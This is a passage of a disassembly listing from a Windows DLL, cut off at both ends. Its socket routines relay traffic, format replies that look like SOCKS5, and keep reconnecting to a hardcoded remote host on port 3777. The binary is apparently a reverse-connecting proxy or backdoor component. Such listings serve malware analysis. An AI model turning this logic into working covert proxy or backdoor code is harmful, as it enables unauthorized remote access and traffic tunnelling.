		mov	dword ptr [ecx+0Ch], 0
		mov	edx, [ebp+var_C468]
		mov	eax, [edx+100h]
		push	eax		; hEvent
		call	ds:SetEvent	; SetEvent


loc_10014507:				; CODE XREF: sub_100142FF:loc_100146B6j
		mov	ecx, [ebp+var_C468]
		mov	edx, [ecx+104h]
		cmp	dword ptr [edx+0Ch], 0
		jnz	loc_100146BB
		mov	eax, [ebp+var_C468]
		mov	ecx, [eax+104h]
		cmp	dword ptr [ecx+8], 0
		jnz	loc_100146BB


loc_10014533:				; CODE XREF: sub_100142FF+2B3j
		mov	[ebp+var_C590],	0
		jmp	short loc_1001454E
; ---------------------------------------------------------------------------


loc_1001453F:				; CODE XREF: sub_100142FF:loc_10014573j
		mov	edx, [ebp+var_C590]
		add	edx, 1
		mov	[ebp+var_C590],	edx


loc_1001454E:				; CODE XREF: sub_100142FF+23Ej
		mov	eax, [ebp+var_C590]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_10014575
		mov	ecx, [ebp+var_C590]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_10014573
		jmp	short loc_10014575
; ---------------------------------------------------------------------------


loc_10014573:				; CODE XREF: sub_100142FF+270j
		jmp	short loc_1001453F
; ---------------------------------------------------------------------------


loc_10014575:				; CODE XREF: sub_100142FF+25Bj
					; sub_100142FF+272j
		mov	eax, [ebp+var_C590]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_100145AE
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100145AE
		mov	ecx, [ebp+var_C590]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_100145AE:				; CODE XREF: sub_100142FF+282j
					; sub_100142FF+28Bj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10014533
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	0C440h		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+var_C580],	eax
		cmp	[ebp+var_C580],	0FFFFFFFFh
		jnz	short loc_10014621
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	ecx, [ebp+var_C468]
		mov	edx, [ecx+104h]
		mov	dword ptr [edx+0Ch], 1
		jmp	loc_100146BB
; ---------------------------------------------------------------------------


loc_10014621:				; CODE XREF: sub_100142FF+2FBj
		mov	eax, [ebp+var_C580]
		mov	[ebp+len], eax
		cmp	[ebp+var_C580],	0
		jnz	short loc_10014658
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	edx, [ebp+var_C468]
		mov	eax, [edx+104h]
		mov	dword ptr [eax+0Ch], 1
		jmp	short loc_100146BB
; ---------------------------------------------------------------------------


loc_10014658:				; CODE XREF: sub_100142FF+335j
		push	0		; flags
		mov	ecx, [ebp+len]
		push	ecx		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+var_C468]
		mov	ecx, [eax+104h]
		mov	edx, [ecx]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+var_C580],	eax
		cmp	[ebp+var_C580],	0FFFFFFFFh
		jnz	short loc_100146B6
		mov	eax, [ebp+var_C468]
		mov	ecx, [eax+104h]
		mov	edx, [ecx]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, [ebp+var_C468]
		mov	ecx, [eax+104h]
		mov	dword ptr [ecx+8], 1
		jmp	short loc_100146BB
; ---------------------------------------------------------------------------


loc_100146B6:				; CODE XREF: sub_100142FF+38Bj
		jmp	loc_10014507
; ---------------------------------------------------------------------------


loc_100146BB:				; CODE XREF: sub_100142FF+218j
					; sub_100142FF+22Ej ...
		mov	edx, [ebp+var_C468]
		mov	eax, [edx+104h]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_100146F6
		mov	ecx, [ebp+var_C468]
		mov	edx, [ecx+104h]
		mov	eax, [edx+4]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	ecx, [ebp+var_C468]
		mov	edx, [ecx+104h]
		mov	dword ptr [edx+0Ch], 1


loc_100146F6:				; CODE XREF: sub_100142FF+3CCj
		mov	eax, [ebp+var_C468]
		mov	ecx, [eax+104h]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_10014730
		mov	edx, [ebp+var_C468]
		mov	eax, [edx+104h]
		mov	ecx, [eax]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	edx, [ebp+var_C468]
		mov	eax, [edx+104h]
		mov	dword ptr [eax+8], 1


loc_10014730:				; CODE XREF: sub_100142FF+407j
		jmp	short loc_1001474A
; ---------------------------------------------------------------------------


loc_10014732:				; DATA XREF: .rdata:stru_10020160o
		mov	[ebp+var_C594],	0
		mov	eax, offset loc_10014742
		retn
; ---------------------------------------------------------------------------


loc_10014742:				; DATA XREF: sub_100142FF+43Do
		mov	eax, [ebp+var_C594]
		jmp	short loc_10014756
; ---------------------------------------------------------------------------


loc_1001474A:				; CODE XREF: sub_100142FF:loc_10014730j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, 1


loc_10014756:				; CODE XREF: sub_100142FF+E1j
					; sub_100142FF+182j ...
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_100142FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10014769(SOCKET s, int)

sub_10014769	proc near		; CODE XREF: sub_10014B0F+D30p
					; sub_10014B0F+DFDp ...

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
namelen		= dword	ptr -30h
name		= sockaddr ptr -2Ch
buf		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
s		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10014769
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+namelen], 10h
		mov	[ebp+buf], 5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_38], eax
		mov	ecx, [ebp+var_38]
		sub	ecx, 2742h
		mov	[ebp+var_38], ecx
		cmp	[ebp+var_38], 0Bh
		ja	short loc_100147D8
		mov	eax, [ebp+var_38]
		xor	edx, edx
		mov	dl, ds:byte_10014865[eax]
		jmp	ds:off_10014851[edx*4]


loc_100147C0:				; DATA XREF: .text:off_10014851o
		mov	[ebp+var_1B], 3
		jmp	short loc_100147DC
; ---------------------------------------------------------------------------


loc_100147C6:				; CODE XREF: sub_10014769+50j
					; DATA XREF: .text:10014855o
		mov	[ebp+var_1B], 3
		jmp	short loc_100147DC
; ---------------------------------------------------------------------------


loc_100147CC:				; CODE XREF: sub_10014769+50j
					; DATA XREF: .text:1001485Do
		mov	[ebp+var_1B], 5
		jmp	short loc_100147DC
; ---------------------------------------------------------------------------


loc_100147D2:				; CODE XREF: sub_10014769+50j
					; DATA XREF: .text:10014859o
		mov	[ebp+var_1B], 4
		jmp	short loc_100147DC
; ---------------------------------------------------------------------------


loc_100147D8:				; CODE XREF: sub_10014769+43j
					; sub_10014769+50j
					; DATA XREF: ...
		mov	[ebp+var_1B], 1


loc_100147DC:				; CODE XREF: sub_10014769+5Bj
					; sub_10014769+61j ...
		mov	[ebp+var_1A], 0
		mov	[ebp+var_19], 1
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+namelen]
		push	ecx		; namelen
		lea	edx, [ebp+name]
		push	edx		; name
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:getsockname	; getsockname
		mov	ecx, dword ptr [ebp+name.sa_data+2]
		mov	[ebp+var_18], ecx
		push	0FA0h		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_14], ax
		push	0		; flags
		push	0Ah		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		jmp	short loc_10014839
; ---------------------------------------------------------------------------


loc_10014833:				; DATA XREF: .rdata:stru_100201B8o
		mov	eax, offset loc_10014840
		retn
; ---------------------------------------------------------------------------


loc_10014839:				; CODE XREF: sub_10014769+C8j
		mov	[ebp+var_4], 0FFFFFFFFh


loc_10014840:				; DATA XREF: sub_10014769:loc_10014833o
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10014769	endp

; ---------------------------------------------------------------------------
off_10014851	dd offset loc_100147C0	; DATA XREF: sub_10014769+50r
		dd offset loc_100147C6
		dd offset loc_100147D2
		dd offset loc_100147CC
		dd offset loc_100147D8
byte_10014865	db 0			; DATA XREF: sub_10014769+4Ar
; ---------------------------------------------------------------------------
		add	[esp+eax], eax
		add	al, 4
		add	al, 4
		add	al, 4
		add	al, [ebx]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10014871(int,	SOCKET s)

sub_10014871	proc near		; CODE XREF: sub_10014B0F+D4Ep
					; sub_10014B0F+E63p ...

var_34		= dword	ptr -34h
namelen		= dword	ptr -30h
name		= sockaddr ptr -2Ch
buf		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
s		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10014871
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+namelen], 10h
		mov	[ebp+buf], 5
		mov	[ebp+var_1B], 0
		mov	[ebp+var_1A], 0
		mov	[ebp+var_19], 1
		mov	[ebp+var_4], 0
		lea	eax, [ebp+namelen]
		push	eax		; namelen
		lea	ecx, [ebp+name]
		push	ecx		; name
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:getsockname	; getsockname
		mov	eax, dword ptr [ebp+name.sa_data+2]
		mov	[ebp+var_18], eax
		mov	cx, word ptr [ebp+name.sa_data]
		mov	[ebp+var_14], cx
		push	0		; flags
		push	0Ah		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+arg_0]
		push	eax		; s
		call	ds:send	; send
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_100148F6
		mov	ecx, [ebp+arg_0]
		push	ecx		; s
		call	ds:closesocket	; closesocket


loc_100148F6:				; CODE XREF: sub_10014871+79j
		jmp	short loc_100148FE
; ---------------------------------------------------------------------------


loc_100148F8:				; DATA XREF: .rdata:stru_10020210o
		mov	eax, offset loc_10014905
		retn
; ---------------------------------------------------------------------------


loc_100148FE:				; CODE XREF: sub_10014871:loc_100148F6j
		mov	[ebp+var_4], 0FFFFFFFFh


loc_10014905:				; DATA XREF: sub_10014871:loc_100148F8o
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_10014871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_10014916(LPVOID)

sub_10014916	proc near		; DATA XREF: sub_10014B0F+F20o
					; sub_10015BF1+D2Bo

var_C484	= dword	ptr -0C484h
var_C480	= dword	ptr -0C480h
s		= dword	ptr -0C47Ch
len		= dword	ptr -0C478h
readfds		= fd_set ptr -0C474h
var_C370	= dword	ptr -0C370h
timeout		= timeval ptr -0C36Ch
var_C364	= dword	ptr -0C364h
buf		= byte ptr -0C360h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10014916
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 0C474h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C370],	eax
		mov	ecx, [ebp+var_C370]
		mov	edx, [ecx]
		mov	[ebp+var_C364],	edx
		mov	eax, [ebp+var_C370]
		mov	ecx, [eax+4]
		mov	[ebp+s], ecx
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+timeout.tv_sec], 0
		mov	[ebp+timeout.tv_usec], 989680h
		mov	[ebp+var_4], 0


loc_1001498A:				; CODE XREF: sub_10014916:loc_10014AD4j
		mov	edx, 1
		test	edx, edx
		jz	loc_10014AD9


loc_10014997:				; CODE XREF: sub_10014916+100j
		mov	[ebp+var_C480],	0
		jmp	short loc_100149B2
; ---------------------------------------------------------------------------


loc_100149A3:				; CODE XREF: sub_10014916:loc_100149D7j
		mov	eax, [ebp+var_C480]
		add	eax, 1
		mov	[ebp+var_C480],	eax


loc_100149B2:				; CODE XREF: sub_10014916+8Bj
		mov	ecx, [ebp+var_C480]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_100149D9
		mov	edx, [ebp+var_C480]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_100149D7
		jmp	short loc_100149D9
; ---------------------------------------------------------------------------


loc_100149D7:				; CODE XREF: sub_10014916+BDj
		jmp	short loc_100149A3
; ---------------------------------------------------------------------------


loc_100149D9:				; CODE XREF: sub_10014916+A8j
					; sub_10014916+BFj
		mov	ecx, [ebp+var_C480]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_10014A12
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10014A12
		mov	edx, [ebp+var_C480]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_10014A12:				; CODE XREF: sub_10014916+CFj
					; sub_10014916+D8j
		xor	edx, edx
		test	edx, edx
		jnz	loc_10014997
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	0C350h		; len
		lea	edx, [ebp+buf]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10014A77
		mov	ecx, [ebp+var_C364]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10014AFC
; ---------------------------------------------------------------------------


loc_10014A77:				; CODE XREF: sub_10014916+148j
		cmp	[ebp+len], 0
		jnz	short loc_10014A94
		mov	edx, [ebp+var_C364]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	short loc_10014AFC
; ---------------------------------------------------------------------------


loc_10014A94:				; CODE XREF: sub_10014916+168j
		push	0		; flags
		mov	eax, [ebp+len]
		push	eax		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+var_C364]
		push	edx		; s
		call	ds:send	; send
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10014AD4
		mov	eax, [ebp+var_C364]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	short loc_10014AFC
; ---------------------------------------------------------------------------


loc_10014AD4:				; CODE XREF: sub_10014916+1A8j
		jmp	loc_1001498A
; ---------------------------------------------------------------------------


loc_10014AD9:				; CODE XREF: sub_10014916+7Bj
		jmp	short loc_10014AF3
; ---------------------------------------------------------------------------


loc_10014ADB:				; DATA XREF: .rdata:stru_10020268o
		mov	[ebp+var_C484],	0
		mov	eax, offset loc_10014AEB
		retn
; ---------------------------------------------------------------------------


loc_10014AEB:				; DATA XREF: sub_10014916+1CFo
		mov	eax, [ebp+var_C484]
		jmp	short loc_10014AFC
; ---------------------------------------------------------------------------


loc_10014AF3:				; CODE XREF: sub_10014916:loc_10014AD9j
		mov	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_10014AFC:				; CODE XREF: sub_10014916+15Cj
					; sub_10014916+17Cj ...
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10014916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10014B0F	proc near		; DATA XREF: .text:10016B9Bo

var_C540	= dword	ptr -0C540h
var_C53C	= dword	ptr -0C53Ch
var_C538	= dword	ptr -0C538h
var_C534	= byte ptr -0C534h
var_C530	= byte ptr -0C530h
var_C52C	= dword	ptr -0C52Ch
var_C528	= dword	ptr -0C528h
var_C524	= dword	ptr -0C524h
var_C520	= dword	ptr -0C520h
var_C51C	= word ptr -0C51Ch
var_C51A	= word ptr -0C51Ah
var_C518	= dword	ptr -0C518h
var_C50C	= dword	ptr -0C50Ch
var_C508	= word ptr -0C508h
var_C506	= word ptr -0C506h
Dst		= dword	ptr -0C504h
var_C4F8	= dword	ptr -0C4F8h
var_C4F4	= dword	ptr -0C4F4h
var_C4F0	= dword	ptr -0C4F0h
var_C4EC	= byte ptr -0C4ECh
var_C4E8	= dword	ptr -0C4E8h
var_C4E4	= dword	ptr -0C4E4h
var_C4E0	= dword	ptr -0C4E0h
var_C4DC	= dword	ptr -0C4DCh
var_C4D8	= dword	ptr -0C4D8h
var_C4D4	= dword	ptr -0C4D4h
var_C4D0	= dword	ptr -0C4D0h
var_C4CC	= dword	ptr -0C4CCh
var_C4C8	= dword	ptr -0C4C8h
readfds		= fd_set ptr -0C4C4h
len		= dword	ptr -0C3C0h
var_C3BC	= dword	ptr -0C3BCh
timeout		= timeval ptr -0C3B8h
var_C3B0	= dword	ptr -0C3B0h
var_C3AC	= dword	ptr -0C3ACh
var_C3A8	= dword	ptr -0C3A8h
var_C3A4	= byte ptr -0C3A4h
var_C3A0	= dword	ptr -0C3A0h
var_C39C	= dword	ptr -0C39Ch
var_C398	= byte ptr -0C398h
var_C394	= byte ptr -0C394h
var_C390	= byte ptr -0C390h
var_C38C	= word ptr -0C38Ch
ThreadId	= dword	ptr -0C388h
s		= dword	ptr -0C384h
buf		= byte ptr -0C380h
cbBytesReturned	= dword	ptr -0C37Ch
var_C378	= byte ptr -0C378h
lpParameter	= dword	ptr -28h
name		= sockaddr ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10014B0F
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 0C530h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		push	6		; protocol
		push	1		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_10014B64
		mov	eax, 0FFFFFFFEh
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10014B64:				; CODE XREF: sub_10014B0F+49j
		mov	[ebp+name.sa_family], 2
		push	0EC1h		; hostshort
		call	ds:htons	; htons
		mov	word ptr [ebp+name.sa_data], ax
		push	offset name	; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_C3AC],	eax
		cmp	[ebp+var_C3AC],	0
		jz	short loc_10014BAD
		push	4		; Size
		mov	eax, [ebp+var_C3AC]
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		push	edx		; Src
		lea	eax, [ebp+name.sa_data+2]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch


loc_10014BAD:				; CODE XREF: sub_10014B0F+82j
		mov	dword_10073E28,	1
		mov	dword_10073E2C,	64h
		mov	dword_10073E30,	0Ah
		mov	[ebp+cbBytesReturned], 0


loc_10014BD5:				; CODE XREF: sub_10014B0F+E8j
		push	10h		; namelen
		lea	ecx, [ebp+name]
		push	ecx		; name
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:connect	; connect
		test	eax, eax
		jz	short loc_10014BF9
		push	0EA60h		; dwMilliseconds
		call	ds:Sleep	; Sleep
		jmp	short loc_10014BD5
; ---------------------------------------------------------------------------


loc_10014BF9:				; CODE XREF: sub_10014B0F+DBj
		push	0		; flags
		push	offset byte_10065ED8 ; lpString
		call	ds:lstrlenA	; lstrlenA
		push	eax		; len
		push	offset byte_10065ED8 ; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send
		mov	[ebp+var_C4C8],	eax


loc_10014C1F:				; CODE XREF: sub_10014B0F+1E6j
					; sub_10014B0F+1037j
		mov	[ebp+var_C39C],	0
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+timeout.tv_sec], 0
		mov	[ebp+timeout.tv_usec], 989680h


loc_10014C47:				; CODE XREF: sub_10014B0F+1B7j
		mov	[ebp+var_C4D0],	0
		jmp	short loc_10014C62
; ---------------------------------------------------------------------------


loc_10014C53:				; CODE XREF: sub_10014B0F:loc_10014C87j
		mov	ecx, [ebp+var_C4D0]
		add	ecx, 1
		mov	[ebp+var_C4D0],	ecx


loc_10014C62:				; CODE XREF: sub_10014B0F+142j
		mov	edx, [ebp+var_C4D0]
		cmp	edx, [ebp+readfds.fd_count]
		jnb	short loc_10014C89
		mov	eax, [ebp+var_C4D0]
		mov	ecx, [ebp+eax*4+readfds.fd_array]
		cmp	ecx, [ebp+s]
		jnz	short loc_10014C87
		jmp	short loc_10014C89
; ---------------------------------------------------------------------------


loc_10014C87:				; CODE XREF: sub_10014B0F+174j
		jmp	short loc_10014C53
; ---------------------------------------------------------------------------


loc_10014C89:				; CODE XREF: sub_10014B0F+15Fj
					; sub_10014B0F+176j
		mov	edx, [ebp+var_C4D0]
		cmp	edx, [ebp+readfds.fd_count]
		jnz	short loc_10014CC2
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10014CC2
		mov	eax, [ebp+var_C4D0]
		mov	ecx, [ebp+s]
		mov	[ebp+eax*4+readfds.fd_array], ecx
		mov	edx, [ebp+readfds.fd_count]
		add	edx, 1
		mov	[ebp+readfds.fd_count],	edx


loc_10014CC2:				; CODE XREF: sub_10014B0F+186j
					; sub_10014B0F+18Fj
		xor	eax, eax
		test	eax, eax
		jnz	loc_10014C47
		lea	ecx, [ebp+timeout]
		push	ecx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	edx, [ebp+readfds]
		push	edx		; readfds
		push	0		; nfds
		call	ds:select	; select
		mov	[ebp+var_C39C],	eax
		cmp	[ebp+var_C39C],	0
		jnz	short loc_10014CFA
		jmp	loc_10014C1F
; ---------------------------------------------------------------------------


loc_10014CFA:				; CODE XREF: sub_10014B0F+1E4j
		cmp	[ebp+var_C39C],	0FFFFFFFFh
		jnz	short loc_10014D27
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10014D27:				; CODE XREF: sub_10014B0F+1F2j
		push	0		; lpCompletionRoutine
		push	0		; lpOverlapped
		lea	edx, [ebp+cbBytesReturned]
		push	edx		; lpcbBytesReturned
		push	0		; cbOutBuffer
		push	0		; lpvOutBuffer
		push	0Ch		; cbInBuffer
		push	offset dword_10073E28 ;	lpvInBuffer
		push	98000004h	; dwIoControlCode
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:WSAIoctl	; WSAIoctl
		push	0		; flags
		push	1		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10014D90
		mov	eax, dword_10073F78
		sub	eax, 1
		mov	dword_10073F78,	eax
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10014D90:				; CODE XREF: sub_10014B0F+25Bj
		mov	[ebp+var_C398],	0


loc_10014D97:				; CODE XREF: sub_10014B0F+307j
		mov	[ebp+var_C4D4],	0
		jmp	short loc_10014DB2
; ---------------------------------------------------------------------------


loc_10014DA3:				; CODE XREF: sub_10014B0F:loc_10014DD7j
		mov	edx, [ebp+var_C4D4]
		add	edx, 1
		mov	[ebp+var_C4D4],	edx


loc_10014DB2:				; CODE XREF: sub_10014B0F+292j
		mov	eax, [ebp+var_C4D4]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_10014DD9
		mov	ecx, [ebp+var_C4D4]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_10014DD7
		jmp	short loc_10014DD9
; ---------------------------------------------------------------------------


loc_10014DD7:				; CODE XREF: sub_10014B0F+2C4j
		jmp	short loc_10014DA3
; ---------------------------------------------------------------------------


loc_10014DD9:				; CODE XREF: sub_10014B0F+2AFj
					; sub_10014B0F+2C6j
		mov	eax, [ebp+var_C4D4]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_10014E12
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10014E12
		mov	ecx, [ebp+var_C4D4]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_10014E12:				; CODE XREF: sub_10014B0F+2D6j
					; sub_10014B0F+2DFj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10014D97
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	eax, [ebp+readfds]
		push	eax		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	1		; len
		lea	ecx, [ebp+var_C398]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:recv	; recv
		mov	[ebp+len], eax
		cmp	[ebp+len], 0FFFFFFFFh
		jnz	short loc_10014E83
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		mov	ecx, dword_10073F78
		sub	ecx, 1
		mov	dword_10073F78,	ecx
		mov	eax, 2
		jmp	loc_10015BDE
; ---------------------------------------------------------------------------


loc_10014E83:				; CODE XREF: sub_10014B0F+34Cj
		movsx	edx, [ebp+var_C398]
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+var_C3A8],	eax
		mov	[ebp+var_C3B0],	0
		jmp	short loc_10014EB5
; ---------------------------------------------------------------------------


loc_10014EA6:				; CODE XREF: sub_10014B0F:loc_10014FBAj
		mov	eax, [ebp+var_C3B0]
		add	eax, 1
		mov	[ebp+var_C3B0],	eax


loc_10014EB5:				; CODE XREF: sub_10014B0F+395j
		movsx	ecx, [ebp+var_C398]
		cmp	[ebp+var_C3B0],	ecx
		jge	loc_10014FBF


loc_10014EC8:				; CODE XREF: sub_10014B0F+438j
		mov	[ebp+var_C4D8],	0
		jmp	short loc_10014EE3
; ---------------------------------------------------------------------------


loc_10014ED4:				; CODE XREF: sub_10014B0F:loc_10014F08j
		mov	edx, [ebp+var_C4D8]
		add	edx, 1
		mov	[ebp+var_C4D8],	edx


loc_10014EE3:				; CODE XREF: sub_10014B0F+3C3j
		mov	eax, [ebp+var_C4D8]
		cmp	eax, [ebp+readfds.fd_count]
		jnb	short loc_10014F0A
		mov	ecx, [ebp+var_C4D8]
		mov	edx, [ebp+ecx*4+readfds.fd_array]
		cmp	edx, [ebp+s]
		jnz	short loc_10014F08
		jmp	short loc_10014F0A
; ---------------------------------------------------------------------------


loc_10014F08:				; CODE XREF: sub_10014B0F+3F5j
		jmp	short loc_10014ED4
; ---------------------------------------------------------------------------


loc_10014F0A:				; CODE XREF: sub_10014B0F+3E0j
					; sub_10014B0F+3F7j
		mov	eax, [ebp+var_C4D8]
		cmp	eax, [ebp+readfds.fd_count]
		jnz	short loc_10014F43
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10014F43
		mov	ecx, [ebp+var_C4D8]
		mov	edx, [ebp+s]
		mov	[ebp+ecx*4+readfds.fd_array], edx
		mov	eax, [ebp+readfds.fd_count]
		add	eax, 1
		mov	[ebp+readfds.fd_count],	eax


loc_10014F43:				; CODE XREF: sub_10014B0F+407j
					; sub_10014B0F+410j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	loc_10014EC8
		lea	edx, [ebp+timeout]
		push	edx		; timeout
		push	0		; exceptfds
